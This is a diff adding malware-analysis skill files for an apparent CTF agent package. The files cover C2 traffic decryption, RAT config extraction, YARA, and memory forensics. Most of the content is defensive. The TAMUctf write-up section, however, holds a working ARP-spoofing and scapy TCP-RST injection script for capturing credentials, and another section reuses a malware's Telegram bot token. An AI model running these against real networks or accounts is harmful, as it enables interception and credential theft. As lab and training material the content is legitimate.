ctf-agent 1.2.0

package/skills/ctf-malware/SKILL.md

@@ -0,0 +1,181 @@
+---
+name: ctf-malware
+description: Provides reverse engineering and behavioral analysis of educational malware artifacts and network traces for CTF challenges. Use when analyzing obfuscated scripts, suspicious packages, simulated command protocols, PE/.NET binaries, encrypted communications, YARA rule authoring, payload inspection, memory forensics (Volatility malfind, process injection detection), anti-analysis techniques (VM detection, timing checks, API hashing), or extracting benchmark indicators of compromise in isolated labs.
+license: MIT
+compatibility: Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.
+allowed-tools: Bash Read Write Edit Glob Grep Task WebFetch WebSearch
+metadata:
+  user-invocable: "false"
+---
+
+# CTF Malware & Network Analysis
+
+Quick reference for malware analysis CTF challenges. Each technique has a one-liner here; see supporting files for full details with code.
+
+## Prerequisites & Tooling
+
+Pre-installed via [scripts/install_ctf_tools.sh](../../scripts/install_ctf_tools.sh):
+- **Python packages**: `yara-python`, `pefile`, `capstone`, `oletools`, `unicorn`, `pycryptodome`, `volatility3`, `dissect.cobaltstrike` (in `~/.ctf-tools/venv`)
+- **System binaries**: `strace`, `ltrace`, `tshark`, `binwalk`, `binutils`
+- **Manual tools**: `dnSpy` (.NET decompiler on Windows)
+
+## Execution Environment & Tool Invocation
+
+- **On Windows (WSL Kali Linux)**:
+  - Run malware analysis, YARA scanning, and emulation inside WSL:
+    ```bash
+    wsl -d kali-linux bash -c "source ~/.ctf-tools/venv/bin/activate && python3 -c 'import yara; rules = yara.compile(\"rule.yar\"); print(rules.match(\"sample.bin\"))'"
+    wsl -d kali-linux bash -c "source ~/.ctf-tools/venv/bin/activate && olevba sample.doc"
+    wsl -d kali-linux bash -c "strace -f -s 1000 ./suspicious_elf"
+    ```
+- **On Native Linux / WSL**:
+  - Activate the CTF virtualenv:
+    ```bash
+    source ~/.ctf-tools/venv/bin/activate
+    ```
+  - Use `yara`, `olevba`, `pefile`, `unicorn`, and `dissect.cobaltstrike` directly.
+
+## Additional Resources
+
+- [scripts-and-obfuscation.md](scripts-and-obfuscation.md) - JavaScript deobfuscation, PowerShell analysis, eval/base64 decoding, junk code detection, hex payloads, Debian package analysis, dynamic analysis techniques (strace/ltrace, network monitoring, memory string extraction, automated sandbox execution), YARA rules for malware detection, shellcode analysis (Unicorn Engine, Capstone), memory forensics for malware (Volatility 3 malfind, process injection detection), anti-analysis techniques (VM detection, timing evasion, API hashing, process injection), trojanized plugin analysis with custom alphabet C2 decoding
+- [c2-and-protocols.md](c2-and-protocols.md) - C2 traffic patterns, custom crypto protocols, RC4 WebSocket, DNS-based C2, network indicators, PCAP analysis, AES-CBC, encryption ID, Telegram bot recovery, Poison Ivy RAT Camellia decryption
+- [pe-and-dotnet.md](pe-and-dotnet.md) - PE analysis (peframe, pe-sieve, pestudio), .NET analysis (dnSpy, AsmResolver), LimeRAT extraction, sandbox evasion, malware config extraction, PyInstaller+PyArmor
+
+---
+
+## When to Pivot
+
+- If the sample is really just a normal crackme, packed challenge binary, or custom VM with no malware behavior, switch to `/ctf-reverse`.
+- If the main job is network reconstruction, disk carving, or host artifact recovery, switch to `/ctf-forensics`.
+- If the challenge turns into public attribution or infrastructure tracing, switch to `/ctf-osint`.
+
+## Quick Start Commands
+
+```bash
+# Static analysis
+file suspicious_file
+strings -n 8 suspicious_file | head -50
+xxd suspicious_file | head -20
+
+# PE analysis
+python3 -c "import pefile; pe=pefile.PE('mal.exe'); print(pe.dump_info())" | head
+peframe mal.exe
+
+# Dynamic analysis (sandboxed!)
+strace -f -s 200 ./suspicious 2>&1 | head -100
+ltrace ./suspicious 2>&1 | head -50
+
+# Network indicators
+strings suspicious_file | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
+strings suspicious_file | grep -iE 'http|ftp|ws://'
+
+# YARA scan
+yara -r rules.yar suspicious_file
+```
+
+## Obfuscated Scripts
+
+- Replace `eval`/`bash` with `echo` to print underlying code; extract base64/hex blobs and analyze with `file`. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md).
+
+## JavaScript & PowerShell Deobfuscation
+
+- JS: Replace `eval` with `console.log`, decode `unescape()`, `atob()`, `String.fromCharCode()`.
+- PowerShell: Decode `-enc` base64, replace `IEX` with output. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md).
+
+## Junk Code Detection
+
+- NOP sleds, push/pop pairs, dead writes, unconditional jumps to next instruction. Filter to extract real `call` targets. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md).
+
+## PCAP & Network Analysis
+
+```bash
+tshark -r file.pcap -Y "tcp.stream eq X" -T fields -e tcp.payload
+```
+
+Look for C2 on unusual ports. Extract IPs/domains with `strings | grep`. See [c2-and-protocols.md](c2-and-protocols.md).
+
+## Custom Crypto Protocols
+
+- Stream ciphers share keystream state for both directions; concatenate ALL payloads chronologically.
+- ChaCha20 keystream extraction: send nullbytes (0 XOR anything = anything). See [c2-and-protocols.md](c2-and-protocols.md).
+
+## C2 Traffic Patterns
+
+- Beaconing, DGA, DNS tunneling, HTTP(S) with custom headers, encoded payloads. See [c2-and-protocols.md](c2-and-protocols.md).
+
+## RC4-Encrypted WebSocket C2
+
+- Remap port with `tcprewrite`, add RSA key for TLS decryption, find RC4 key in binary. See [c2-and-protocols.md](c2-and-protocols.md).
+
+## Identifying Encryption Algorithms
+
+- AES: `0x637c777b` S-box; ChaCha20: `expand 32-byte k`; TEA/XTEA: `0x9E3779B9`; RC4: sequential S-box init. See [c2-and-protocols.md](c2-and-protocols.md).
+
+## AES-CBC in Malware
+
+- Key = MD5/SHA256 of hardcoded string; IV = first 16 bytes of ciphertext. See [c2-and-protocols.md](c2-and-protocols.md).
+
+## PE Analysis
+
+```bash
+peframe malware.exe      # Quick triage
+pe-sieve                 # Runtime analysis
+pestudio                 # Static analysis (Windows)
+```
+
+See [pe-and-dotnet.md](pe-and-dotnet.md).
+
+## .NET Malware Analysis
+
+- Use dnSpy/ILSpy for decompilation; AsmResolver for programmatic analysis. LimeRAT C2: AES-256-ECB with MD5-derived key. See [pe-and-dotnet.md](pe-and-dotnet.md).
+
+## Malware Configuration Extraction
+
+- Check .data section, PE/.NET resources, registry keys, encrypted config files. See [pe-and-dotnet.md](pe-and-dotnet.md).
+
+## Sandbox Evasion Checks
+
+- VM detection, debugger detection, timing checks, environment checks, analysis tool detection. See [pe-and-dotnet.md](pe-and-dotnet.md).
+
+## Anti-Analysis Techniques
+
+VM detection (CPUID, MAC prefix, registry, disk size), timing evasion (sleep/RDTSC sandbox detection), API hashing (ROR13/DJB2/CRC32 + hashdb lookup), process injection (hollowing, APC, CreateRemoteThread), environment checks. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md#anti-analysis-techniques).
+
+## Trojanized Plugin Analysis
+
+Diff malicious plugin against official release to find injected code in try/except blocks. Custom alphabet rotation (`C[(C.index(ch) - offset) % len(C)]`) decodes C2 domain, XOR decodes endpoint path. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md#trojanized-plugin-analysis-with-custom-alphabet-c2-decoding-inshack-2018).
+
+## PyInstaller + PyArmor Unpacking
+
+- `pyinstxtractor.py` to extract, PyArmor-Unpacker for protected code. See [pe-and-dotnet.md](pe-and-dotnet.md).
+
+## Telegram Bot Evidence Recovery
+
+- Use bot token from malware source to call `getUpdates` and `getFile` APIs. See [c2-and-protocols.md](c2-and-protocols.md).
+
+## Debian Package Analysis
+
+```bash
+ar -x package.deb && tar -xf control.tar.xz  # Check postinst scripts
+```
+
+See [scripts-and-obfuscation.md](scripts-and-obfuscation.md).
+
+## YARA Rules for Malware Detection
+
+Write YARA rules to match byte patterns, strings, and regex against files or memory dumps. Detect XOR loops (`{31 ?? 80 ?? ?? 4? 75}`), base64 blobs, encoded PowerShell. Use `yarac` to compile for faster scanning. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md#yara-rules-for-malware-detection).
+
+## Shellcode Analysis
+
+Disassemble with `objdump -b binary -m i386:x86-64`, emulate with Unicorn Engine (hook syscalls safely), or use Capstone for programmatic disassembly. Look for XOR decoder stubs. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md#shellcode-analysis).
+
+## Memory Forensics for Malware
+
+`vol3 windows.malfind` detects injected code (PAGE_EXECUTE_READWRITE without mapped file). `windows.pstree` reveals suspicious parent-child relationships. YARA scan memory with `yarascan.YaraScan`. See [scripts-and-obfuscation.md](scripts-and-obfuscation.md#memory-forensics-for-malware).
+
+## Network Indicators Quick Reference
+
+```bash
+strings malware | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
+tshark -r capture.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort -u
+```

package/skills/ctf-malware/c2-and-protocols.md

@@ -0,0 +1,274 @@
+# C2 Traffic and Protocol Analysis
+
+## Table of Contents
+- [PCAP Analysis](#pcap-analysis)
+- [Custom Crypto Protocols](#custom-crypto-protocols)
+- [C2 Traffic Patterns](#c2-traffic-patterns)
+- [Network Indicators](#network-indicators)
+- [RC4-Encrypted WebSocket C2 Traffic](#rc4-encrypted-websocket-c2-traffic)
+- [Password Rotation in C2](#password-rotation-in-c2)
+- [AES-CBC in Malware](#aes-cbc-in-malware)
+- [Identifying Encryption Algorithms](#identifying-encryption-algorithms)
+- [Telegram Bot API for Evidence Recovery](#telegram-bot-api-for-evidence-recovery)
+- [Poison Ivy RAT Traffic Decryption (Trend Micro CTF 2015)](#poison-ivy-rat-traffic-decryption-trend-micro-ctf-2015)
+- [DarkComet RAT Forensics (CrewCTF 2023)](#darkcomet-rat-forensics-crewctf-2023)
+- [Cobalt Strike Beacon Analysis in PCAP (FireShell CTF 2020)](#cobalt-strike-beacon-analysis-in-pcap-fireshell-ctf-2020)
+- [ARP Spoof + TCP RST Injection to Capture IRC C2 Creds (TAMUctf 2019)](#arp-spoof--tcp-rst-injection-to-capture-irc-c2-creds-tamuctf-2019)
+
+---
+
+## PCAP Analysis
+
+```bash
+tshark -r file.pcap -Y "tcp.stream eq X" -T fields -e tcp.payload
+```
+Look for C2 communication patterns on unusual ports (e.g., port 21 not for FTP).
+
+## Custom Crypto Protocols
+
+- Stream ciphers may share keystream state for both directions
+- Concatenate ALL payloads chronologically before decryption
+- Look for hardcoded keys in `.rodata`
+- **ChaCha20 keystream extraction:** Send large nullbytes payload (0 XOR anything = anything)
+- Alternative: Pipe ciphertext from pcap directly into the binary
+
+## C2 Traffic Patterns
+
+- Beaconing: regular intervals
+- Domain generation algorithms (DGA)
+- Encoded/encrypted payloads
+- HTTP(S) with custom headers
+- DNS tunneling
+
+## Network Indicators
+
+```bash
+# Extract IPs/domains
+strings malware | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
+strings malware | grep -E '[a-zA-Z0-9.-]+\.(com|net|org|io)'
+
+# DNS queries
+tshark -r capture.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort -u
+```
+
+## RC4-Encrypted WebSocket C2 Traffic
+
+**Pattern (Tampered Seal):** Malware uses WSS over non-standard port with RC4 encryption.
+
+**Decryption workflow:**
+1. Identify C2 port from malware source (not standard 443)
+2. Remap port with `tcprewrite` so Wireshark decodes TLS
+3. Add RSA key for TLS decryption -> reveals WebSocket frames
+4. Find RC4 key hardcoded in malware binary
+5. Decrypt each WebSocket payload with RC4 via CyberChef
+
+**Malware communication patterns:**
+- Registration message: hostname, OS, username, privileges
+- Exfiltration: screenshots, keylog data, file contents
+- Commands: reverse shell, file download, process list
+
+## Password Rotation in C2
+
+**Pattern:** C2 uses rotating passwords based on time/sequence
+
+**Analysis:**
+1. Find password generation function
+2. Identify rotation trigger (time-based, message count)
+3. Sync your decryptor with the rotation
+
+```python
+def get_current_password(timestamp):
+    # Password changes every hour
+    hour_bucket = timestamp // 3600
+    return hashlib.sha256(f"seed_{hour_bucket}".encode()).digest()
+```
+
+## AES-CBC in Malware
+
+**Common key derivation:**
+- MD5/SHA256 of hardcoded string
+- Derived from timestamp or PID
+- Password-based (PBKDF2)
+
+**Analysis approach:**
+```python
+from Crypto.Cipher import AES
+from Crypto.Util.Padding import unpad
+import hashlib
+
+# Common pattern: key = MD5(password)
+password = b"hardcoded_password"
+key = hashlib.md5(password).digest()
+
+# IV often first 16 bytes of ciphertext
+iv = ciphertext[:16]
+ct = ciphertext[16:]
+
+cipher = AES.new(key, AES.MODE_CBC, iv)
+plaintext = unpad(cipher.decrypt(ct), 16)
+```
+
+## Identifying Encryption Algorithms
+
+**By constants:**
+- AES: `0x637c777b`, `0x63636363` (S-box)
+- ChaCha20: `expand 32-byte k` or `0x61707865`
+- RC4: Sequential S-box initialization
+- TEA/XTEA: `0x9E3779B9` (golden ratio)
+
+**By structure:**
+- Block cipher: Fixed-size blocks, padding
+- Stream cipher: Byte-by-byte, no padding
+- Hash: Mixing functions, rounds, constants
+
+## Telegram Bot API for Evidence Recovery
+
+**Pattern (Stomaker):** Malware uses Telegram bot to exfiltrate stolen data.
+
+**Recover exfiltrated data via bot token:**
+```python
+# If you have the bot API token from malware source:
+import requests
+
+TOKEN = "bot_token_here"
+# Get updates (message history)
+r = requests.get(f"https://api.telegram.org/bot{TOKEN}/getUpdates")
+# Download files sent to bot
+file_id = "..."
+r = requests.get(f"https://api.telegram.org/bot{TOKEN}/getFile?file_id={file_id}")
+file_path = r.json()['result']['file_path']
+requests.get(f"https://api.telegram.org/file/bot{TOKEN}/{file_path}")
+```
+
+---
+
+## Poison Ivy RAT Traffic Decryption (Trend Micro CTF 2015)
+
+**Pattern:** PCAP contains Poison Ivy RAT (Remote Access Trojan) traffic. Poison Ivy uses Camellia cipher with the key derived from an attacker-supplied password (null-padded to key length). The default password is "admin".
+
+```bash
+# Decrypt using MITRE's ChopShop framework + FireEye Poison Ivy module
+chopshop -f capture.pcap -s ./output/ "poisonivy_23x -c -w admin"
+```
+
+**Identification:**
+- Traffic to non-standard ports (often 3460, 65535)
+- Initial handshake with 256-byte key exchange
+- Encrypted data blocks with 8-byte aligned lengths
+
+**Alternative decryption (Python):**
+```python
+from Crypto.Cipher import Camellia
+
+password = b"admin"
+key = password.ljust(32, b'\x00')[:32]  # null-pad to 256 bits
+cipher = Camellia.new(key, Camellia.MODE_ECB)
+plaintext = cipher.decrypt(encrypted_data)
+```
+
+**Key insight:** Poison Ivy's encryption key is derived solely from the attacker password with null-byte padding — no key derivation function. The default password "admin" is commonly left unchanged. ChopShop with `poisonivy_23x` module automates full session reconstruction (screenshots, file listings, keystrokes). Also try common passwords: "password", "p0ison", or challenge-provided hints.
+
+---
+
+## DarkComet RAT Forensics (CrewCTF 2023)
+
+Identify and analyze DarkComet RAT artifacts in memory dumps and disk images.
+
+```bash
+# DarkComet keylogger log locations:
+# %APPDATA%/dclogs/YYYY-MM-DD-N.dc
+# Format: plaintext with window titles and keystrokes
+
+# Volatility: find DarkComet artifacts
+volatility3 -f memory.dmp windows.filescan | grep -i dclogs
+volatility3 -f memory.dmp windows.filescan | grep -i "\.dc$"
+
+# Dump the keylogger files
+volatility3 -f memory.dmp windows.dumpfiles --dump-dir=output -Q <physical_address>
+
+# DarkComet persistence:
+# Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
+# Points to: rundll32.exe wrapper or direct executable
+# Check with:
+volatility3 -f memory.dmp windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"
+
+# DarkComet network indicators:
+# Default port: 1604
+# Mutex: typically "DarkComet" or custom string
+# Process: often injects into legitimate process (svchost.exe, explorer.exe)
+volatility3 -f memory.dmp windows.netscan | grep 1604
+```
+
+**Key insight:** DarkComet stores offline keylogger data in `.dc` files under `%APPDATA%/dclogs/` with date-stamped filenames. These survive in memory dumps and can be carved with Volatility's filescan + dumpfiles. Check the Run registry key for persistence mechanisms.
+
+---
+
+## Cobalt Strike Beacon Analysis in PCAP (FireShell CTF 2020)
+
+Detect and decode Cobalt Strike beacon traffic from network captures.
+
+```bash
+# Cobalt Strike beacon indicators in PCAP:
+# - HTTP GET/POST to /submit.php, /pixel, /__utm.gif, /ca, /dpixel (default URIs)
+# - Cookie contains base64-encoded metadata
+# - Regular check-in intervals (default: 60s sleep)
+# - User-Agent matches common Malleable C2 profiles
+
+# Wireshark filters for CS traffic:
+# http.request.uri contains "submit.php" or http.request.uri contains "__utm"
+# http.cookie contains base64 pattern
+
+# Decode beacon config from captured DLL/shellcode:
+# pip install dissect.cobaltstrike
+python3 -c "
+from dissect.cobaltstrike import beacon
+for config in beacon.iter_beacons(open('beacon.bin', 'rb')):
+    print(config)
+    # Shows: C2 server, sleep time, jitter, URI paths, user-agent, watermark
+"
+
+# Extract beacon from PCAP:
+tshark -r capture.pcap -Y "http.response" -T fields -e http.file_data | xxd -r -p > payload.bin
+# Then analyze with dissect.cobaltstrike or CobaltStrikeParser
+```
+
+**Key insight:** Cobalt Strike uses "Malleable C2" profiles that customize HTTP indicators, but the underlying beacon protocol structure is consistent. Look for regular-interval HTTP requests with encoded cookies/parameters. The `dissect.cobaltstrike` Python library can extract full beacon configs from captured payloads.
+
+---
+
+## ARP Spoof + TCP RST Injection to Capture IRC C2 Creds (TAMUctf 2019)
+
+**Pattern (Alt-F4 for Ops):** CTF network looks empty (nmap on `172.30.0.0/28` shows only a gateway at `.1` and one peer at `.2`), but the gateway routes to a hidden IRC C2 server (`172.30.20.10`). Legitimate clients connect with a `PASS` command we never get to see. Mount a classic MITM:
+
+```bash
+# 1. Poison the LAN so .2's traffic to .1 flows through our box
+sudo arpspoof -i tap0 -r -t 172.30.0.2 172.30.0.1
+
+# 2. Route the hidden subnet through the spoofed gateway
+sudo route add -net 172.30.20.0/28 gw 172.30.0.1 dev tap0
+
+# 3. Wireshark / tcpdump reveals the IRC server, but we land mid-session
+#    (no PASS captured). Force a reconnect by spoofing a TCP RST.
+```
+
+Use scapy to forge a RST into the live stream so the client reconnects and re-sends `PASS`:
+
+```python
+from scapy.all import sniff, send, IP, TCP
+VICTIM, SERVER = "172.30.0.2", "172.30.20.10"
+
+def kill(p):
+    if p.haslayer(TCP) and p[IP].src == VICTIM and p[TCP].dport == 6667:
+        rst = IP(src=SERVER, dst=VICTIM) / TCP(
+            sport=6667, dport=p[TCP].sport,
+            seq=p[TCP].ack, flags="R")
+        send(rst, verbose=0)
+
+sniff(iface="tap0", filter=f"host {SERVER} and tcp port 6667", prn=kill)
+```
+
+A few seconds later the intercepted stream contains `PASS underling` and `JOIN #void`. Same technique run from a pivot bot recovers the server-operator secret (`OPER baal darksecret`). For inline payload rewriting, mitmproxy's `rawtcp.py` layer can be edited directly to drop `buf = buf.replace(b'old', b'new')` inside the TCP relay, giving arbitrary protocol MITM without an HTTP plugin.
+
+**Key insight:** Non-HTTP C2 (IRC, custom TCP) defeats `mitmproxy --mode transparent` defaults, but ARP spoofing plus forged RSTs turn any long-lived TCP session into a replayable handshake — you do not need to crack the auth, you just force the client to perform it again in front of you. Combine with mitmproxy raw-TCP source edits for in-flight payload substitution when you need to stay invisible to both endpoints.
+
+**References:** TAMUctf 2019 — Alt-F4 for Ops, writeup 13478

package/skills/ctf-malware/pe-and-dotnet.md

@@ -0,0 +1,108 @@
+# PE, .NET, and Binary Malware Analysis
+
+## Table of Contents
+- [PE Analysis](#pe-analysis)
+- [Sandbox Evasion Checks](#sandbox-evasion-checks)
+- [Malware Configuration Extraction](#malware-configuration-extraction)
+- [.NET DNS-based C2](#net-dns-based-c2)
+- [.NET Malware Analysis (C2 Extraction)](#net-malware-analysis-c2-extraction)
+- [PyInstaller + PyArmor Unpacking](#pyinstaller--pyarmor-unpacking)
+
+---
+
+## PE Analysis
+
+```bash
+peframe malware.exe      # Quick triage
+pe-sieve                 # Runtime analysis
+pestudio                 # Static analysis (Windows)
+```
+
+## Sandbox Evasion Checks
+
+Look for:
+- VM detection (VMware, VirtualBox artifacts)
+- Debugger detection (IsDebuggerPresent)
+- Timing checks (sleep acceleration)
+- Environment checks (username, computername)
+- File/registry checks for analysis tools
+
+## Malware Configuration Extraction
+
+**Common storage locations:**
+- .data section (hardcoded)
+- Resources (PE resources, .NET resources)
+- Registry keys written at install
+- Encrypted config file dropped to disk
+
+**Extraction tools:**
+```bash
+# PE resources
+wrestool -x -t 10 malware.exe -o config.bin
+
+# .NET resources
+monodis --mresources malware.exe
+
+# Strings in .rdata/.data
+objdump -s -j .rdata malware.exe
+```
+
+## .NET DNS-based C2
+
+**Pattern:** Deobfuscated .NET malware with DNS C2
+
+**Analysis with dnSpy:**
+1. Find network functions (TcpClient, DnsClient, etc.)
+2. Identify encoding/encryption wrappers
+3. Look for command dispatch (switch on opcode)
+
+**AsmResolver for programmatic analysis:**
+```csharp
+using AsmResolver.DotNet;
+var module = ModuleDefinition.FromFile("malware.dll");
+foreach (var type in module.GetAllTypes()) {
+    foreach (var method in type.Methods) {
+        // Analyze method body
+    }
+}
+```
+
+## .NET Malware Analysis (C2 Extraction)
+
+**Tools:** ILSpy, dnSpy, dotPeek
+
+**LimeRAT C2 extraction (Whisper Of The Pain):**
+1. Open .NET binary in dnSpy
+2. Find configuration class with Base64 encoded string
+3. Identify decryption method (typically AES-256-ECB with derived key)
+4. Key derivation: MD5 of hardcoded string -> first 15 + full 16 bytes + null = 32-byte key
+5. Decrypt: Base64 decode -> AES-ECB decrypt -> reveals C2 IP/domain
+
+```python
+from Crypto.Cipher import AES
+import hashlib, base64
+
+key_source = '${8\',`d0}n,~@J;oZ"9a'
+md5 = hashlib.md5(key_source.encode()).hexdigest()
+# Key = first 15 bytes of MD5 + full 16 bytes + null (64 hex chars -> 32 bytes)
+key = bytes.fromhex(md5[:30] + md5 + '00')[:32]
+
+cipher = AES.new(key, AES.MODE_ECB)
+plaintext = cipher.decrypt(base64.b64decode(encrypted_b64))
+```
+
+## PyInstaller + PyArmor Unpacking
+
+```bash
+# Step 1: Extract PyInstaller archive
+python pyinstxtractor.py malware.exe
+# Look for main .pyc file in extracted directory
+
+# Step 2: If PyArmor-protected, use unpacker
+# github.com/Svenskithesource/PyArmor-Unpacker
+# Three methods available; choose based on PyArmor version
+
+# Step 3: Clean up deobfuscated source
+# Remove fake/dead-code functions (confusion code)
+# Identify core encryption/exfiltration logic
+```